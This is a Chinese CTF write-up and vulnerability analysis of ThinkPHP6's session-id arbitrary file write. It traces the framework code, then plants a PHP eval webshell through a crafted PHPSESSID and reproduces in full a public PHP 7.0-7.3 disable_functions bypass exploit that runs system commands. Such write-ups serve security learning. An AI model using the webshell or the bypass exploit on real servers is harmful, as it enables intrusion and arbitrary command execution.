2021-10-09

ThinkPHP6任意文件操作漏洞分析

原理

在开启session的情况下可以导致创建任意文件以及删除文件，在特定情况下可以getshell

1	### ctype_alnum($text)

检测输入的$text中所有的字符全部是字母和数字，如果是，返回TRUE，否则返回FALSE

在源码中，/src/think/session/Store.php中的212行设置id时增加了一个函数ctype_alnum($text)

/**
 * session_id设置
 * @access public
 * @param string $id session_id
 * @return void
 */
public function setId($id = null): void
{
    $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
    $this->id=is_string($id) && strlen($id) === 32 && ctype_alnum($id)? $id:md5(microtime(true).session_create_id());
}

/**

而上面也有提及，ctype_alnum()函数是检测$id是否全部是字母和数字的，所以根据文件目录和更改的函数部分猜测：

1	可能是存储Session时导致的文件写入，所以我们可以跟进相关的函数，看向vendor/topthink/framework/src/think/session/Store.php的254行的save()函数

/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();

    $sessionId = $this->getId();

    if (!empty($this->data)) {
        $data = $this->serialize($this->data);

        $this->handler->write($sessionId, $data);
    } else {
        $this->handler->delete($sessionId);
    }

    $this->init = false;
}

/**

然后看向

$this->handler->write($sessionId, $data);

然后跟进write()函数，在vendor/topthink/framework/src/think/session/driver/File.php中的210行代码
```   
 /**
     * 写入Session
     * @access public
     * @param string $sessID
     * @param string $sessData
     * @return bool
     */
    public function write(string $sessID, string $sessData): bool
    {
        $filename = $this->getFileName($sessID, true);
        $data     = $sessData;

        if ($this->config['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        return $this->writeFile($filename, $data);
    }

    /**

然后我们看向writeFile()函数，然后跟进vendor/topthink/framework/src/think/session/driver/File.php中的170行

* 写文件（加锁）
 * @param $path
 * @param $content
 * @return bool
 */
protected function writeFile($path, $content): bool
{
    return (bool) file_put_contents($path, $content, LOCK_EX);
}

我们可以从代码中看见file_put_contents()函数，可知内容$content被写入$path中

所以整体思路是

写入函数file_put_contents($path,$content,LOCK_EX)中的参数$path和$content来源于函数writeFile($path,$data)

而writeFile($path,$data)中的参数$path和$data来源于函数write(String $sessionID,String $sessiData)

而wirte(String $sessionID,String $sessiData)中参数$sessionID和$sessiData来源于save()中调用的write()

而其中write()函数中$sessionID的值调用了getId()传入的，在源码vendor/topthink/framework/src/think/session/Store.php中的129行

public function getId(): string
{
    return $this->id;
}

但是在getId时，需要先创建sessionId，所以要找setId()函数，在源码vendor/topthink/framework/src/think/session/Store.php中的119行

public function setId($id = null): void
{
    $this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}

所以我们可以看向调用setId()的函数handle()函数，在源码vendor/topthink/framework/src/think/middleware/SessionInit.php:46中

public function handle($request, Closure $next)
{
    // Session初始化
    $varSessionId = $this->app->config->get('session.var_session_id');
    $cookieName   = $this->session->getName();

    if ($varSessionId && $request->request($varSessionId)) {
        $sessionId = $request->request($varSessionId);
    } else {
        $sessionId = $request->cookie($cookieName);
    }

    if ($sessionId) {
        $this->session->setId($sessionId);
    }

其中$cookieName其实就是PHPSESSID，而$sessonid为PHPSESSID的值，所以为可控的值，因此可以确定write()函数中$sessionID的值

而对于$sessiData的值，可以看向vendor/topthink/framework/src/think/session/Store.php:261的变量$data传入：

1	$data = $this->serialize($this->data);

而$data默认环境中是空的

/**
 * Session数据
 * @var array
 */
protected $data = [];

所以对于写入session的内容实际是有后端业务逻辑来决定的，所以要在严苛的条件下才可以写入webshell，而这个实现任意文件操作漏洞需要开启session环境下才可以实现，如果想开启session，则需要thinkphp6开启session的方法：删除/app/middleware.php最后一行的注释

实例(

打开页面，发现有注册、登录和搜索的功能，所以我们在注册和登录页面尝试sql注入测试，发现不是，所以我们扫描目录，发现有www.zip文件泄露，同时我们再随便构造payload

1	/djddbebkebkb

发现是ThinkPHP6版本的框架，然后审计源码，发现是ThinkPHP6版本框架的任意文件操作漏洞，我们可以利用PHPSESSID来确定生成的session文件的名字，然后$data数据，我们可以看向这个源码中的前端源码\app\home\controller\Member.php

    public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }
}

看向

session("Record",$data["key"])

session("Record",implode(",",$recordArr) . "," . $data["key"]);

session("Record",$record . "," . $data["key"]);

发现在搜索页面是$data的输入，所以我们可以在注册时，伪造长度为32的文件名aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php，然后进入搜索页面，进行代码的输入

1	<?php @eval($_POST[cmd];?>

然后访问路径是/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
用蚁剑进行连接，进入后台，发现读取不了/readflag，然后在搜索页面构造

1	<?php phpinfo();?>

看php版本，发现disable_function中有许多的系统函数被禁，所以需要绕过disable_function，本来打算劫持系统函数，然后利用php函数中用来发邮件的函数来启动子程序，从而在子程序中执行被禁函数，来读取/readflag的，但是发现不行，也许是被过滤了或在这里发邮件函数不可以启动子程序吧，所以我们可以使用我网上找的exp来绕过

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

上传这个文件到/var/tmp目录下，然后在搜索页面构造

1	<?php include("/var/tmp/exp.php");?>

然后访问runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php执行文件即可得到flag